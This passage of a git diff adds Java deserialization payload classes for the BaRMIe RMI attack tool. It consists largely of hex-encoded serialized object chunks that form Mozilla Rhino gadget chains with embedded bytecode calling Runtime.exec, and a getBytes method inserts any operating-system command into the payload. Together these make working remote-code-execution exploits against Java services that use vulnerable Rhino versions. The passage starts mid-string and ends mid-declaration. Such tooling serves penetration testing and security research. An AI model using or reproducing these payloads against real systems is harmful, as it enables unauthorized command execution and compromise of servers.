696C794C6F6164656443746F7200000000000000010200065A00067365616C656449000573746174654C0009636C6173734E616D6571007E00054C0010696E697469616C697A656456616C756571007E00014C000C70726F70657274794E616D6571007E00054C000573636F70657400294C6F72672F6D6F7A696C6C612F6A6176617363726970742F53637269707461626C654F626A6563743B707870000000000074002A6F72672E6D6F7A696C6C612E6A6176617363726970742E7265676578702E4E61746976655265674578707071007E015B71007E001A70707371007E01590002309BB90D7400085061636B616765737371007E015C000000000074002B6F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654A617661546F705061636B6167657071007E016171007E001A70707371007E015900020031AA227400046A6176617371007E015C000000000071007E01637071007E016571007E001A70707371007E0159000206039A967400056A617661787371007E015C000000000071007E01637071007E016871007E001A70707371007E015900020001AEE47400036F72677371007E015C000000000071007E01637071007E016B71007E001A70707371007E0159000200018181740003636F6D7371007E015C000000000071007E01637071007E016E71007E001A70707371007E01590002000187B67400036564757371007E015C000000000071007E01637071007E017171007E001A70707371007E015900020001A99D7400036E65747371007E015C000000000071007E01637071007E017471007E001A70707371007E0159000274434FC2740008676574436C6173737371007E015C000000000071007E01637071007E017771007E001A70707371007E015900026C71EEAD74000B4A617661416461707465727371007E015C00000000007400226F72672E6D6F7A696C6C612E6A6176617363726970742E4A617661416461707465727071007E017A71007E001A70707371007E0159000256774B7474000C4A617661496D706F727465727371007E015C00000000007400276F72672E6D6F7A696C6C612E6A6176617363726970742E496D706F72746572546F704C6576656C7071007E017E71007E001A70707371007E01590002DCB5CA5774000C436F6E74696E756174696F6E7371007E015C00000000007400296F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665436F6E74696E756174696F6E7071007E018271007E001A70707371007E01590002000153F7740003584D4C7371007E015C00000000007400296F72672E6D6F7A696C6C612E6A6176617363726970742E786D6C696D706C2E584D4C4C6962496D706C7071007E018671007E001A70707371007E01590002B6DCA535740007584D4C4C6973747371007E015C000000000071007E01887071007E018A71007E001A70707371007E01590002C215753B7400094E616D6573706163657371007E015C000000000071007E01887071007E018D71007E001A70707371007E01590002049A5E7C740005514E616D657371007E015C000000000071007E01887071007E019071007E001A70707877040000000078707701007372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B70787000000000FFFFFFFF757200035B5B424BFD19156767DB3702000070787000000002757200025B42ACF317F8060854E0020000707870"; + private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; + private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e019900000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000141707701007874000f6a6176612e6c616e672e436c617373787704000000017371007e0159000000337a8b71007e003971007e0078737200206f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f78583e1be606e304b503000070787077020101740005656e7465727672001e6f72672e6d6f7a696c6c612e6a6176617363726970742e436f6e7465787400000000000000000000007078707702000078707371007e0159000038eb000771007e003b71007e0078737200276f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654a6176614d6574686f64d0414efe72fe69000200024c000c66756e6374696f6e4e616d6571007e00055b00076d6574686f64737400235b4c6f72672f6d6f7a696c6c612f6a6176617363726970742f4d656d626572426f783b707871007e002e000000007070707704000000007877040000000078000000047071007e003b757200235b4c6f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f783b3226214ee6215239020000707870000000017371007e019f7702010174000e6e65775472616e73666f726d65727671007e01927702000078707877040000000078"; + + /******************* + * Set payload properties + ******************/ + public RhinoPayload5() { + super(); + this.setName("Rhino5"); + this.setDescription("Mozilla Rhino 1.7r4 and 1.7r5"); + this.setRemediationAdvice("[Mozilla Rhino] " + this.REMEDIATION_NO_FIX); + this.setAffectedJars(new String[] { + "js.jar", "js-14.jar" + }); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the middle chunk + out.write(this.intToByteArray(765 + cmd.length())); + out.write(this.hexStrToByteArray(this._mid_chunk)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} + diff --git a/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload6.java b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload6.java new file mode 100644 index 0000000..63917b6 --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload6.java @@ -0,0 +1,75 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for Mozilla Rhino 1.7r6, 1.7r7, + * and 1.7.7.1. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RhinoPayload6 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "7372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B70787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC402000070787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B70787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD223902000070787000000000737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E0007707872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B707870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A65707870000000007704000000007871007E001078737200226F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654572726F72B5EA2521BE49CE7D02000070787200296F72672E6D6F7A696C6C612E6A6176617363726970742E496453637269707461626C654F626A6563743daa1346d62a9e6803000070787200276F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A6563742745afa870ac78ba030004490005636F756E744C00106173736F63696174656456616C75657374000F4C6A6176612F7574696C2F4D61703B4C0011706172656E7453636F70654F626A6563747400234C6F72672F6D6F7A696C6C612F6A6176617363726970742F53637269707461626C653B4C000F70726F746F747970654F626A65637471007E0015707870000000027070737200276F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654A6176614F626A6563749F91A59E35C431E10300024C0006706172656E7471007E00154C000970726F746F7479706571007E0015707870737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654F626A656374A7F0F22AFF97BA0C020000707871007E001200000037737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C647078703F4000000000000C7708000000100000000474000D4C4942524152595F53434F504571007E001A7400084974657261746F72737200336F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654974657261746F722453746F70497465726174696F6E227D07BEDDA89DBF020000707871007E0019000000007071007E001A7371007E0019000000007071007E001A707704000000007877040000000C78770400000000787704000000007874000A436C6173734361636865737200216F72672E6D6F7A696C6C612E6A6176617363726970742E436C617373436163686584F4C43496DC1F290200025A001063616368696E674973456E61626C656449001467656E657261746564436C61737353657269616C7078700000000000740000737200266F72672E6D6F7A696C6C612E6A6176617363726970742E4E617469766547656E657261746F7216D762746EC522C90200065A0009666972737454696D6549000A6C696E654E756D6265725A00066C6F636B65644C000866756E6374696F6E7400274C6F72672F6D6F7A696C6C612F6A6176617363726970742F4E617469766546756E6374696F6E3B4C000A6C696E65536F7572636571007E00054C000A7361766564537461746571007E0001707871007E001200000000707070770400000000787704000000057800000000000070707078707077040000005F7372002C6F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A65637424536C6F74AB79E83BE385789D02000453000A6174747269627574657349000B696E6465784F72486173684C00046E616D6571007E00054C000576616C756571007E0001707870000000000000740000737200276F72672E6D6F7A696C6C612E6A6176617363726970742E496446756E6374696F6E4F626A656374B5FFD1C66BA0FED502000649000561726974794900086D6574686F6449645A001475736543616C6C4173436F6E7374727563746F724C000C66756E6374696F6E4E616D6571007E00054C0006696463616C6C7400274C6F72672F6D6F7A696C6C612F6A6176617363726970742F496446756E6374696F6E43616C6C3B4C000374616771007E000170787200236F72672E6D6F7A696C6C612E6A6176617363726970742E4261736546756E6374696F6E49B5DD1BB05C2AE302000249001B70726F746F7479706550726F7065727479417474726962757465734C001170726F746F7479706550726F706572747971007E0001707871007E00120000000070707371007E002E0000000070707077040000000078770400000000780000000070770400000000787704000000007800000000700000000000000000007070707371007E00290000000000007400007371007E002C00000000707070770400000000787704000000007800000000700000000000000000007070707371007E00290000000000007400007371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000047071007E001A71007E002177040000000B7371007E0029000000337A8B7400046E616D6571007E00357371007E0029000038EB00077400076D6573736167657400007371007E00290000D425C62774000866696C654E616D6571007E003C7371007E00290000EC61B05D74000A6C696E654E756D626572737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C756570787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000070787000000000787704000000037800000001000000010171007E003571007E003771007E00357371007E002900021EB5489E7400096465636F64655552497371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000010071007E0045737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665476C6F62616C546211EF26C230CA020000707870740006476C6F62616C7371007E002900022E10C5FF7400126465636F6465555249436F6D706F6E656E747371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000020071007E004B71007E004871007E00497371007E0029000259E44B76740009656E636F64655552497371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000030071007E004E71007E004871007E00497371007E00290002C89B7627740012656E636F6465555249436F6D706F6E656E747371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000040071007E005171007E004871007E00497371007E00290002B2DC80817400066573636170657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000050071007E005471007E004871007E00497371007E00290002002FB09C7400046576616C7371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000060071007E005771007E004871007E00497371007E00290002DC367E79740008697346696E6974657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000070071007E005A71007E004871007E00497371007E0029000205FD1B7174000569734E614E7371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000080071007E005D71007E004871007E00497371007E0029000231161EB87400096973584D4C4E616D657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000090071007E006071007E004871007E00497371007E00290002C428CF6974000A7061727365466C6F61747371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000A0071007E006371007E004871007E00497371007E0029000246CC243C7400087061727365496E747371007E002C000000007071007E001A7077040000000078770400000000780000000470000000020000000B0071007E006671007E004871007E00497371007E00290002E7B3785A740008756E6573636170657371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000C0071007E006971007E004871007E00497371007E00290002CDE4CAB5740006756E6576616C7371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000D0071007E006C71007E004871007E00497371007E00290002000130DB7400034E614E737200106A6176612E6C616E672E446F75626C6580B3C24A296BFB0402000144000576616C7565707871007E00427FF80000000000007371007E002900020E2CCE48740008496E66696E6974797371007E00707FF00000000000007371007E00290002C21F6150740009756E646566696E6564737200206F72672E6D6F7A696C6C612E6A6176617363726970742E556E646566696E65647F9D9ECFF72ACBBF0200007078707371007E00290002E859127274000F436F6E76657273696F6E4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E007A7877040000000078000000010000000E0171007E007A71007E004871007E00497371007E002900029FC652AC7400094576616C4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E007F7877040000000078000000010000000E0171007E007F71007E004871007E00497371007E002900020932C2EB74000A52616E67654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00847877040000000078000000010000000E0171007E008471007E004871007E00497371007E002900025198459D74000E5265666572656E63654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00897877040000000078000000010000000E0171007E008971007E004871007E00497371007E00290002605053C574000B53796E7461784572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E008E7877040000000078000000010000000E0171007E008E71007E004871007E00497371007E0029000294F7E6CE740009547970654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00937877040000000078000000010000000E0171007E009371007E004871007E00497371007E00290002F016881C7400085552494572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00987877040000000078000000010000000E0171007E009871007E004871007E00497371007E002900029B10F92B74000D496E7465726E616C4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E009D7877040000000078000000010000000E0171007E009D71007E004871007E00497371007E00290002DD2FBC2D74000D4A617661457863657074696F6E7371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00A27877040000000078000000010000000E0171007E00A271007E004871007E00497371007E0029000203C9823974000541727261797371007E002C000000117071007E001A707704000000177371007E002900020031DD2A7400046A6F696E7371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFB0071007E00AA737200226F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665417272617965BE3F5055DB7C6A0200035A000964656E73654F6E6C794A00066C656E6774685B000564656E73657400135B4C6A6176612F6C616E672F4F626A6563743B707871007E0012000000007071007E001A71007E00217704000000007877040000001578010000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007078700000000A737200206F72672E6D6F7A696C6C612E6A6176617363726970742E556E69717565546167C40A4C7517C9E69502000149000574616749647078700000000171007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00A77371007E00290002418E52E2740007726576657273657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFA0071007E00B471007E00AE71007E00A77371007E002900020035F59E740004736F72747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF90071007E00B771007E00AE71007E00A77371007E002900020034AF1A740004707573687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF80071007E00BA71007E00AE71007E00A77371007E002900020001B251740003706F707371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF70071007E00BD71007E00AE71007E00A77371007E0029000206856C8274000573686966747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF60071007E00C071007E00AE71007E00A77371007E00290002EF739589740007756E73686966747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF50071007E00C371007E00AE71007E00A77371007E00290002CA9A467C74000673706C6963657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF40071007E00C671007E00AE71007E00A77371007E00290002AF3F7714740006636F6E6361747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF30071007E00C971007E00AE71007E00A77371007E0029000206873D92740005736C6963657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF20071007E00CC71007E00AE71007E00A77371007E0029000273D44649740007696E6465784F667371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF10071007E00CF71007E00AE71007E00A77371007E00290002E42256D374000B6C617374496E6465784F667371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF00071007E00D271007E00AE71007E00A77371007E0029000205C6731B74000565766572797371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEF0071007E00D571007E00AE71007E00A77371007E00290002B408CB7874000666696C7465727371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEE0071007E00D871007E00AE71007E00A77371007E00290002D78CD66A740007666F72456163687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFED0071007E00DB71007E00AE71007E00A77371007E002900020001A55C7400036D61707371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEC0071007E00DE71007E00AE71007E00A77371007E002900020035F4F4740004736F6D657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEB0071007E00E171007E00AE71007E00A778770400000000780000000771007E00AE00000001000000010171007E00A771007E00AE71007E00A77371007E00290002943A4C31740006537472696E677371007E002C000000127071007E001A7077040000002F7371007E00290002C4FE4C2D74000C66726F6D43686172436F64657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFF0071007E00E7737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665537472696E670CC57334977D230F0200014C0006737472696E6771007E0005707871007E0012000000007071007E001A71007E0021770400000000787704000000247871007E003C71007E00E47371007E00290002AED71E297400066368617241747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFB0071007E00EC71007E00EA71007E00E47371007E0029000217AC15F674000A63686172436F646541747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFA0071007E00EF71007E00EA71007E00E47371007E0029000273D4464971007E00CF7371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF90071007E00CF71007E00EA71007E00E47371007E00290002E42256D371007E00D27371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF80071007E00D271007E00EA71007E00E47371007E0029000206891B1A74000573706C69747371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF70071007E00F671007E00EA71007E00E47371007E002900021F9F6E51740009737562737472696E677371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF60071007E00F971007E00EA71007E00E47371007E00290002BC31DD9674000B746F4C6F776572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFF50071007E00FC71007E00EA71007E00E47371007E00290002E82F52B774000B746F5570706572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFF40071007E00FF71007E00EA71007E00E47371007E00290002CADC57F17400067375627374727371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF30071007E010271007E00EA71007E00E47371007E00290002AF3F771471007E00C97371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF20071007E00C971007E00EA71007E00E47371007E0029000206873D9271007E00CC7371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF10071007E00CC71007E00EA71007E00E47371007E002900020F5DAD41740010657175616C7349676E6F7265436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE20071007E010971007E00EA71007E00E47371007E00290002062DD9C57400056D617463687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE10071007E010C71007E00EA71007E00E47371007E00290002C9FA65A87400067365617263687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE00071007E010F71007E00EA71007E00E47371007E00290002413CB2B47400077265706C6163657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFDF0071007E011271007E00EA71007E00E47371007E002900023E27CD2B74000D6C6F63616C65436F6D706172657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFDE0071007E011571007E00EA71007E00E47371007E00290002A8AECC9C740011746F4C6F63616C654C6F776572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFDD0071007E011871007E00EA71007E00E478770400000000780000000771007E00EA00000001000000010171007E00E471007E00EA71007E00E47371007E0029000267140408740007426F6F6C65616E7371007E002C000000007071007E001A70770400000000787704000000007800000007737200246F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665426F6F6C65616ECC6A9303539DE71B0200015A000C626F6F6C65616E56616C7565707871007E0012000000007071007E001A71007E002177040000000078770400000004780000000001000000010171007E011B71007E011E71007E011B7371007E002900028BBDC7697400064E756D6265727371007E002C000000057071007E001A7077040000000B7371007E00290007000130DB71007E006F71007E00717371007E00290007EB1E29AE740011504F5349544956455F494E46494E4954597371007E00707FF00000000000007371007E0029000734E07AF27400114E454741544956455F494E46494E4954597371007E0070FFF00000000000007371007E00290007CEDD22967400094D41585F56414C55457371007E00707FEFFFFFFFFFFFFF7371007E00290007FCE839047400094D494E5F56414C55457371007E00700000000000000001787704000000007800000007737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654E756D62657230A28B6F31D79DA502000144000B646F75626C6556616C7565707871007E0012000000007071007E001A71007E00217704000000007877040000000878000000000000000000000001000000010171007E012071007E013071007E01207371007E00290002002063CE740004446174657371007E002C000000037071007E001A707704000000057371007E002900020001AAD67400036E6F777371007E002C000000007071007E001A707704000000007877040000000078000000047000000000FFFFFFFD0071007E0135737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665446174658CB60C521ACEF48A02000144000464617465707871007E0012000000007071007E001A71007E00217704000000007877040000002D787FF800000000000071007E01327371007E0029000206581AB374000570617273657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFE0071007E013A71007E013871007E01327371007E00290002000149847400035554437371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFF0071007E013D71007E013871007E013278770400000000780000000771007E013800000001000000010171007E013271007E013871007E01327371007E0029000200247B287400044D617468737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654D61746885561B50925CC9CF020000707871007E0012000000007071007E001A71007E00217704000000007877040000001B787371007E00290002002924E6740004576974687371007E002C000000007071007E001A70770400000000787704000000007800000007737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976655769746800000000000000010200024C0006706172656E7471007E00154C000970726F746F7479706571007E001570787071007E001A71007E002100000000000000010171007E014471007E014771007E01447371007E00290002001FEE7E74000443616C6C7371007E002C000000007071007E001A70770400000000787704000000007800000007737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E617469766543616C6C98500D2B813FD2CA0200024C000866756E6374696F6E71007E00275B000C6F726967696E616C4172677371007E00AD707871007E0012000000007071007E001A71007E00217704000000007877040000000178707000000001000000010171007E014971007E014C71007E01497371007E00290002934ABCEB7400065363726970747371007E002C000000007071007E001A737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665536372697074A1B2F37EC354AD9C0200014C000673637269707474001F4C6F72672F6D6F7A696C6C612F6A6176617363726970742F5363726970743B707871007E002E000000007071007E001A71007E0021770400000000787704000000047800000004707077040000000078770400000000780000000771007E015200000001000000010171007E014E71007E015271007E014E7371007E002900024A566C8E71007E001E7371007E002C000000007071007E001A70770400000000787704000000007800000007737200256F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654974657261746F72C6968956626DC69F0200014C000E6F626A6563744974657261746F7271007E0001707871007E0012000000007071007E001A71007E002177040000000078770400000003787000000002000000010171007E001E71007E015671007E001E7371007E0029000240BC18DB74000D53746F70497465726174696F6E71007E0020737200326F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A65637424476574746572536C6F74BBFDA92373201D6C0200024C000667657474657271007E00014C000673657474657271007E0001707871007E0029000291AC8D09740006526567457870737200276F72672E6D6F7A696C6C612E6A6176617363726970742E4C617A696C794C6F6164656443746F7200000000000000010200065A00067365616C656449000573746174654C0009636C6173734E616D6571007E00054C0010696E697469616C697A656456616C756571007E00014C000C70726F70657274794E616D6571007E00054C000573636F70657400294C6F72672F6D6F7A696C6C612F6A6176617363726970742F53637269707461626C654F626A6563743B707870000000000074002A6F72672E6D6F7A696C6C612E6A6176617363726970742E7265676578702E4E61746976655265674578707071007E015B71007E001A70707371007E01590002309BB90D7400085061636B616765737371007E015C000000000074002B6F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654A617661546F705061636B6167657071007E016171007E001A70707371007E015900020031AA227400046A6176617371007E015C000000000071007E01637071007E016571007E001A70707371007E0159000206039A967400056A617661787371007E015C000000000071007E01637071007E016871007E001A70707371007E015900020001AEE47400036F72677371007E015C000000000071007E01637071007E016B71007E001A70707371007E0159000200018181740003636F6D7371007E015C000000000071007E01637071007E016E71007E001A70707371007E01590002000187B67400036564757371007E015C000000000071007E01637071007E017171007E001A70707371007E015900020001A99D7400036E65747371007E015C000000000071007E01637071007E017471007E001A70707371007E0159000274434FC2740008676574436C6173737371007E015C000000000071007E01637071007E017771007E001A70707371007E015900026C71EEAD74000B4A617661416461707465727371007E015C00000000007400226F72672E6D6F7A696C6C612E6A6176617363726970742E4A617661416461707465727071007E017A71007E001A70707371007E0159000256774B7474000C4A617661496D706F727465727371007E015C00000000007400276F72672E6D6F7A696C6C612E6A6176617363726970742E496D706F72746572546F704C6576656C7071007E017E71007E001A70707371007E01590002DCB5CA5774000C436F6E74696E756174696F6E7371007E015C00000000007400296F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665436F6E74696E756174696F6E7071007E018271007E001A70707371007E01590002000153F7740003584D4C7371007E015C00000000007400296F72672E6D6F7A696C6C612E6A6176617363726970742E786D6C696D706C2E584D4C4C6962496D706C7071007E018671007E001A70707371007E01590002B6DCA535740007584D4C4C6973747371007E015C000000000071007E01887071007E018A71007E001A70707371007E01590002C215753B7400094E616D6573706163657371007E015C000000000071007E01887071007E018D71007E001A70707371007E01590002049A5E7C740005514E616D657371007E015C000000000071007E01887071007E019071007E001A70707877040000000078707701007372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B70787000000000FFFFFFFF757200035B5B424BFD19156767DB3702000070787000000002757200025B42ACF317F8060854E0020000707870"; + private final String _mid_chunk = 